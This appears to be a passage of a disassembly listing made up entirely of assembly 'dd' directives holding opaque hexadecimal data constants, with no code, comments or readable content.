		dd 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h
		dd 74C1487Fh, 80FAB89Fh, 0FB4F7D00h, 9536D0D6h,	1E40087h
		dd 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h,	0EB4599h
		dd 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh
		dd 57B3004Fh, 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh
		dd 4C32FFB3h, 8A60083h,	962E5CF6h, 8EF87193h, 221FEC7Ah
		dd 0B44F4175h, 2B3960E4h, 705F1BC2h, 0EF8F17Ch,	83F41D11h
		dd 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h
		dd 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h
		dd 153B1249h, 0E10EF0A5h, 683C7700h, 2E855274h,	7FD70059h
		dd 756E8441h, 8006604h,	4A92BE69h, 0E26B5B10h, 0F313E2E2h
		dd 19C4B8DDh, 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h
		dd 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h
		dd 0C27288Ah, 0B1383EFFh, 96BD7800h, 50101560h,	5CBF5300h
		dd 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h
		dd 2B50296h, 89F4F287h,	0CAC00D14h, 680084E9h, 0A177EA90h
		dd 490894h, 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh
		dd 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h
		dd 50093195h, 32836068h, 0DB5D0303h, 0A559974h,	2EB20400h
		dd 684C2B7Ah, 13D7614h,	66400885h, 0CCA8D753h, 5C6761EDh
		dd 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah, 6A04C80Eh
		dd 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h, 9734CFAh
		dd 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h
		dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h
		dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh
		dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h,	0F613B888h
		dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h,	0D77C8B52h
		dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h
		dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h
		dd 0D7BC5Bh, 0A1AAC9Fh,	4410044Fh, 0B34C8F00h, 0FE91C690h
		dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h
		dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h
		dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h
		dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h,	80041D3Bh
		dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h
		dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h
		dd 885444A6h, 2901164h,	2135E6Ch, 894193ADh, 0CF9BF0FDh
		dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h
		dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h,	7720C00h
		dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h
		dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h,	8A87C545h
		dd 0D37BB4h, 52FB25D2h,	9264F2C3h, 4B4AFC13h, 694CA600h
		dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah
		dd 18B91C53h, 35B8315h,	0A3D8FED3h, 0F598E011h,	51A4042Ch
		dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h
		dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h
		dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h,	0F33B558Dh
		dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h,	0D6991401h
		dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h
		dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch
		dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h
		dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h,	98427D63h
		dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh
		dd 553A16h, 0FAED75F5h,	615097E0h, 0C30045Ch, 5A0689D8h
		dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h,	0BD340310h
		dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h
		dd 69F70059h, 1680827h,	2F000BD4h, 41EDCE80h, 152420h
		dd 74664C94h, 1FFD389h,	840F3A00h, 113FA9F4h, 0BFDE0096h
		dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h,	0F34E8218h
		dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h
		dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h
		dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch
		dd 91A92C9h, 366E194Fh,	16C0D08Fh, 0A3CDF841h, 2134F600h
		dd 0F4107D2Ah, 0C94E00D4h, 0E1665EE3h, 0F900E2B4h, 0F3BE9045h
		dd 5D592F0h, 0ED8B9CB8h, 0AFF7819Bh, 0CB4FF98Fh, 759733A8h
		dd 4FAA5F2h, 0B73A2274h, 84341F1Ch, 0BB38D840h,	3E7C92AEh
		dd 5C00F2FEh, 82EFD7B1h, 0F7031B31h, 24A0E742h,	150A0E8h
		dd 0A798009Dh, 3EBF7DD8h, 0F53F97B4h, 0FC53801Eh, 75A85BAFh
		dd 0A4E300D7h, 886EA79Ch, 0DF7C514Ch, 0B0465A07h, 0ED08087h
		dd 0FAE33C13h, 3D8B002Eh, 833F6052h, 0B80011EFh, 0A608577Ah
		dd 3E210429h, 0A0003A45h, 5FFC07B2h, 0EA096A55h, 87067174h
		dd 85600A53h, 1D33C25Eh, 81F2DD18h, 281536C4h, 0F82CD589h
		dd 0AC907784h, 0D30022FAh, 0A51DE87Eh, 5539D9h,	0A4CFAAACh
		dd 0B6AB362Ah, 4ED25005h, 7BC04B56h, 888CBh, 0C80DF415h
		dd 0C2F0110Ch, 28588D07h, 4540D8D6h, 4495ECh, 6DDB35F6h
		dd 0CF4130D2h, 9D71EB1Fh, 0EAB82280h, 3EAEE3h, 44B4228h
		dd 0AFAF9DFh, 8F6A3F00h, 8A587B9Fh, 54150027h, 0C7642994h
		dd 5B0033A7h, 1E759546h, 15A9Bh, 24871785h, 36FF1491h
		dd 0C306F400h, 8F75D6EAh, 0FA5E004Ah, 85F310D2h, 2400CF3Ch
		dd 93DBE848h, 0C65F49h,	0A73079D7h, 1FB9BF0h, 2B887700h
		dd 317B53BBh, 7557D6Eh,	0F96AB121h, 0D0F84768h,	82F50928h
		dd 29891600h, 9ECF0D45h, 0C001FEC8h, 0B94CB70h,	0CD0099F4h
		dd 517FEF62h, 0A15803h,	0E474B118h, 846C1614h, 4F268BF0h
		dd 0D2001180h, 0AD44C4DDh, 276F3CB7h, 0FC773E00h, 10428EB2h
		dd 0E9894A00h, 931675F2h, 157A25h, 6950C7B1h, 23ABC28Fh
		dd 5D400200h, 53992444h, 0DF785C41h, 0D2F63200h, 0D49B0309h
		dd 864630Fh, 69FF000Bh,	44CFCCh, 0B94B851Ah, 1452965Bh
		dd 0E6BA5600h, 13505358h, 9C780089h, 4AA574F1h,	310229BEh
		dd 8D2A0746h, 45244054h, 37120143h, 3570A985h, 7378F456h
		dd 74160800h, 9CAE0D24h
		dd 9A5E0EE4h, 834023A0h, 0BF42AAA9h, 21D62D00h,	0C5521ACAh
		dd 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h
		dd 0A6F0997h, 0CAA11A9Ch, 983DF005h, 165C6B7Bh,	15C500E7h
		dd 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h
		dd 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h
		dd 9427F8FCh, 807100E0h, 3C6C37D2h, 0E20085F5h,	0FB876B8Dh
		dd 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h,	0EF4903E8h
		dd 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h,	7807431Fh
		dd 94FBA538h, 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h
		dd 0A1E614C5h, 0F26F935h, 0A8AEB40h, 2851001Ch,	90135D1Dh
		dd 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h,	28037575h
		dd 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h, 0D344E7B1h
		dd 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh
		dd 3E7EB089h, 33705700h, 3593D588h, 97B50369h, 2C5F256Fh
		dd 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh,	882FB580h
		dd 4200D621h, 0D0396147h, 675B0Ah, 689FC274h, 282D35D2h
		dd 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h
		dd 96303611h, 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh
		dd 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah
		dd 9B2341BEh, 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh
		dd 9E02368h, 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h
		dd 40191802h, 58001A10h, 32C78E66h, 0B92B16h, 68444260h
		dd 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h
		dd 0E299868Ah, 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h
		dd 41003BEBh, 0A5C70334h, 1DEE6151h, 40AD5708h,	8045A268h
		dd 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h
		dd 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh, 51EB002Fh
		dd 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h
		dd 6240FF38h, 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h
		dd 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h
		dd 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh
		dd 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h,	7E1960Bh
		dd 2F571327h, 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh
		dd 4E1660h, 0BA673021h,	0E52E70A4h, 8CBBE000h, 85340F0Ah
		dd 0E3C001EEh, 22A05CA1h, 18C4D428h, 2052E51Eh,	2B27C880h
		dd 0EFD00Ah, 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h
		dd 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h
		dd 0B057A384h, 972D00E1h, 70895130h, 94900853h,	5C81B800h
		dd 0EA18212Bh, 4352008Eh, 9747DE1Dh, 95009436h,	0A1F146A9h
		dd 9685502h, 927C86DDh,	0BC210B80h, 563C75FDh, 0C289F3Dh
		dd 0E91EF8C0h, 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h
		dd 0B82386D6h, 3ACF28h,	6760C5F0h, 169A310Dh, 0FA4FFF26h
		dd 50808303h, 99E8C83Bh, 0CEA0078h, 0FF892EE4h,	88A0877Bh
		dd 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h
		dd 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh
		dd 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh, 0FD250016h
		dd 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh
		dd 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h
		dd 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h
		dd 328890Ah, 18452059h,	1DE8F0FBh, 4A7AC7EAh, 80006BF6h
		dd 1CC20978h, 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h
		dd 0A3750F44h, 6467D462h, 0C71103Ch, 1700EAB9h,	0CBD53E13h
		dd 0BA3B009h, 6167DD1h,	404B5A07h, 0C9250C15h, 3910171Eh
		dd 0B56CE140h, 51B7C4h,	6348921Eh, 82A5083Dh, 8014773Ch
		dd 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h, 3B72DFEEh
		dd 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh
		dd 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch
		dd 150C181Dh, 4FCB7A40h, 0ED3AC71h, 0C2C38449h,	37568D80h
		dd 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h, 8528A0FFh
		dd 0A8B20100h, 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h
		dd 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h
		dd 0CB612CCAh, 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h
		dd 0E78253E3h, 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh
		dd 0ACB3C7CBh, 40CC4830h, 29A300A2h, 1D880201h,	17003A8Ch
		dd 28262CB8h, 0A0BD98h,	0BC07C341h, 84CC501Ah, 9CDB4E00h
		dd 635EAFE9h, 2E47AE3h,	0C95A8A26h, 70C3ED7Fh, 5EC0CB98h
		dd 0AC9E2C3Dh, 900480B6h, 5AC02D89h, 98ECCEF6h,	586179F5h
		dd 2008DBDh, 898F0C6Dh,	0FC002938h, 4F63CE5Eh, 0A32630h
		dd 0C273A517h, 25228A6Bh, 0F90068EAh, 0CCEAD723h, 6AFDE6h
		dd 8AE7C928h, 0A581CE09h, 2CE6DA79h, 87170501h,	350304CCh
		dd 0C037C03Bh, 3800E87Fh, 0C7014EBDh, 3F7794h, 0AC9E6C7Bh
		dd 97E548AEh, 68335500h, 720AF2C1h, 0D4C40BC8h,	80D753E7h
		dd 711F1C24h, 766C0012h, 4BBC324Fh, 0A50014D1h,	0C8D8D707h
		dd 6457EAh, 1328F7E4h, 8FCA2443h, 763D2673h, 62960090h
		dd 0AFD394FDh, 0F3010069h, 672710B8h, 0DEFC5B9Ah, 250066F0h
		dd 1904532Dh, 451586h, 96BAB30Eh, 4F52A985h, 1DC2F94Ch
		dd 0B05F07EBh, 7800CA2Ch, 17883CE5h, 5B2F0769h,	203064C0h
		dd 0ADA454A8h, 0B9E5A207h, 8DC71087h, 6E2F8190h, 2D2B00BEh
		dd 0CD3788B0h, 4C025A8Ch, 0CF584A1Ah, 52F080A7h, 0C6F87Bh
		dd 0D1940584h, 4A0F7D44h, 0A30FDBB8h, 0A0A15111h, 0B25D64AFh
		dd 6BDF00A6h, 6A5FD289h, 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h
		dd 32A7E16h, 64971310h,	12E0ABBDh, 930C74Ch, 0B1C8CC8Dh
		dd 7645002Ch, 8697E23Fh, 2A0013EBh, 52ACF19Fh, 50F9D4h
		dd 0A9837D55h, 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah, 3C11297h
		dd 0F0072809h, 0C50AEEh, 521502E1h, 0A012DA55h,	8301A6A5h
		dd 9CFF305Ch, 3C1B7BCCh, 7FC1486h, 1CF83101h, 0C21AF052h
		dd 0EA01C1D0h, 0B52C0318h, 0EBE99473h, 0AD5CE0h, 0A549774Bh
		dd 0AE752E08h, 0D65BE900h, 2DAB5612h, 1657824h,	0F85AD836h
		dd 0E43C5EC7h, 0E00B414h, 95FFE843h, 20A889h, 8D5CEA9Bh
		dd 0C8B3A7F6h, 7275C312h, 0C0331FEFh, 11801CA3h, 8474100Bh
		dd 9E7E8C3Bh, 30007958h, 86C3298Ah, 34220064h, 6C2BC187h
		dd 1C00237Fh, 0B393BA8Eh, 3CF5F84Ah, 0F513E5h, 1930F2E8h
		dd 488A3C53h, 6A0012FAh, 0AE16D41Ch, 0D641F8h, 172DF2BCh
		dd 0F7143A03h, 6F88C401h, 10086977h, 7E297Ch, 20C58319h
		dd 0DC7E1C5Ah, 0AAB8C407h, 0A0B0F5D3h, 1F928E08h, 408B7552h
		dd 0D74D2C14h, 0F81FE297h, 87814E10h, 64C10508h, 7256E4h
		dd 0BE13D44Fh, 331C9D54h, 6B007F71h, 0F7E623D3h, 92EB8F0h
		dd 52843CBAh, 10213C87h, 958F90B9h, 91921D0Bh, 80B68B09h
		dd 98048BEFh, 396D39D3h, 0F3D55580h, 523C76B9h,	0DBC0E00h
		dd 510203C4h, 0C23B3E0Ah, 7BD31080h, 40143B0h, 0EB349A1Eh
		dd 0F8E76783h, 14B3CF60h, 8305F898h, 750F00FBh,	0ECCC72B7h
		dd 1982BCEh, 829F3Eh, 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h
		dd 0C80238D4h
		dd 30B4D26Ch, 4201E022h, 34990004h, 8C5F3FB8h, 7E001F0Ch
		dd 9AA2FF24h, 1F49D85h,	0EB0BE4EAh, 0D0A1154Eh,	0F600DA3Bh
		dd 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh, 80B9101h
		dd 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h, 28CD4098h
		dd 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh,	89F8210Dh
		dd 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h, 0D017D93Ch
		dd 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh, 20A1824Ch
		dd 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h,	0F2A5299Fh
		dd 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h, 5134C3A6h
		dd 5F60FF01h, 70E0609h,	3E4287D8h, 25010215h, 911F6850h
		dd 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh, 1F5D5CE0h
		dd 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h,	15A5B340h
		dd 10240009h, 438D55C1h, 3600352Ah, 19AAA034h, 900D9EFAh
		dd 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h,	0E5197515h
		dd 0F38009D4h, 170880h,	2EAF2695h, 4CA7101Ch, 0EC3C2207h
		dd 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h, 30500600h
		dd 6BE6AEBCh, 29E00DBh,	0A02174C7h, 0B70B0F1Ah,	80A41840h
		dd 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h,	34502CBEh
		dd 5864BBh, 698592A8h, 94A791DBh, 9522721Eh, 8EF6BD80h
		dd 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h, 55437850h
		dd 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh, 0B7C766EBh
		dd 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h, 0F46F2439h
		dd 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh, 0D04AA613h
		dd 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h, 4C358B80h
		dd 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h
		dd 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h, 167F425h
		dd 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h,	24E57593h
		dd 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h,	3F529B00h
		dd 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h,	0EA73AE00h
		dd 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh, 0C0318E2Fh
		dd 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah, 79642FECh
		dd 81D817h, 0B6B2ACF4h,	2B334DCCh, 54B31D06h, 3BC51E0Ch
		dd 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h,	4930900Ah
		dd 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h, 453020C8h
		dd 28663B40h, 2B344207h, 1525400Ch, 570F12BEh, 0FD23BB8Eh
		dd 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h,	0C0DE2090h
		dd 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h, 561F6119h
		dd 88000C49h, 35941D55h, 89B0047h, 66929EA4h, 2116739Dh
		dd 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah, 553B9894h
		dd 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h,	0CE70DD5Ah
		dd 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh, 0DA4714F2h
		dd 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h, 0B86F28AAh
		dd 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h, 8CF05290h
		dd 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h,	0A09F13C3h
		dd 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh, 0AD6C7Ch
		dd 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h,	5EA5008Ah
		dd 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h, 2E745E0h
		dd 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h, 820CD054h
		dd 8AD5B080h, 24B70037h, 49E65906h, 630061BFh, 0AE121D58h
		dd 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh, 0C18500CFh
		dd 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh, 1C5DCAFAh
		dd 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h,	21718A23h
		dd 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h
		dd 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch,	0A8DBC816h
		dd 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h, 0DA534540h
		dd 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h,	744C8EEh
		dd 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh,	0BE644AC2h
		dd 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h, 7327EB00h
		dd 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h, 10739BC7h
		dd 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h, 0C4D9F5C2h
		dd 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h,	0E0221E75h
		dd 7542320h, 8A53C379h,	70818027h, 9300B57Ah, 9A61F265h
		dd 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h, 0DC25E1Fh
		dd 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h
		dd 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h
		dd 9FB35D2h, 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h
		dd 158D13h, 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh
		dd 89D838FEh, 0C108071Eh, 14100E0Ch, 207D2016h,	0E09FBE70h
		dd 7A706014h, 0C0A00380h, 910129E0h, 44022290h,	89040300h
		dd 18251505h, 310E214h,	84820636h, 0A9309E2h, 0CB30BA3h
		dd 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh
		dd 5780882Eh, 44A3900h,	53063572h, 0A09DF8BEh, 188A00B8h
		dd 5C882840h, 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh
		dd 0E04FFFE7h, 47AFCC7h, 0FE031B00h, 5CD72F89h,	783B6014h
		dd 9A0FD273h, 27017279h, 0CE2B1080h, 70D4E8D3h,	790101A4h
		dd 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh, 32DC1F6Ah
		dd 7FC0AD1Fh, 0EBBC8100h, 7911ABBh, 17410D88h, 8C1E6082h
		dd 29000525h, 2402D6F8h, 0C82D66h, 505553B4h, 22579856h
		dd 0F00FB901h, 612EA2AAh, 0B89D8DE0h, 0F6810054h, 0BC8BABF3h
		dd 3E00E92Fh, 0F4EE3B13h, 5E76F0h, 5A8FD15h, 8C5C8B38h
		dd 4CFC831Ch, 40430800h, 6089C53Bh, 0B9EBE819h,	0D006117h
		dd 0F7282474h, 7440698h, 62336815h, 0C71CD0FFh,	17CC849h
		dd 890080ECh, 656A8D18h, 0E0142708h, 2C340696h,	0D403E0D3h
		dd 13DE8100h, 0C43EF101h, 5187000Fh, 30B5788Eh,	0A870EC7Eh
		dd 33C5D00h, 10F983C3h,	27DB0h,	6C24C040h, 758B4D7Ch, 6DC9A41Fh
		dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh
		dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h,	0BB661007h
		dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh
		dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h
		dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h,	26985B98h
		dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh,	26807EB4h
		dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h
		dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h,	0FAC89741h
		dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h
		dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h
		dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh,	7334F900h
		dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h,	5CA65AC0h
		dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh
		dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h
		dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h
		dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h,	896F00FAh
		dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h
		dd 8E8BC107h
		dd 31745389h, 598125D0h, 6212F400h, 4068D233h, 70BCE6B7h
		dd 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h, 3E3DAh
		dd 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h,	0E8001FD1h
		dd 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h,	13900085h
		dd 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h, 81DEB9Bh
		dd 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h,	0E3AD2C03h
		dd 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh, 25013C0h
		dd 527E5411h, 5295800h,	0C4860CDh, 0FAA6005Ch, 0E8AACA81h
		dd 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h, 0CA6B0069h
		dd 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h, 6A2C53ABh
		dd 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h, 8DED7213h
		dd 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h, 0D200F35h
		dd 2C35943h, 6D316C62h,	8840098Dh, 15017310h, 5203EDF3h
		dd 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h,	28007560h
		dd 59A66A7Fh, 0C08318h,	4E7EF203h, 0F5FE8111h, 48C07DE0h
		dd 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h, 96821100h
		dd 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh, 0C6501700h
		dd 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch, 920EB700h
		dd 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h, 5045578Bh
		dd 7C0C222Fh, 311718Ch,	3546D251h, 0BE02BC0h, 640083C6h
		dd 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh, 2407EB80h
		dd 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh, 3D104C88h
		dd 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h, 0A0B8EEF0h
		dd 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh, 97908Dh
		dd 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh, 0E2324E52h
		dd 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h, 2303C5A7h
		dd 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h, 1E88BF1h
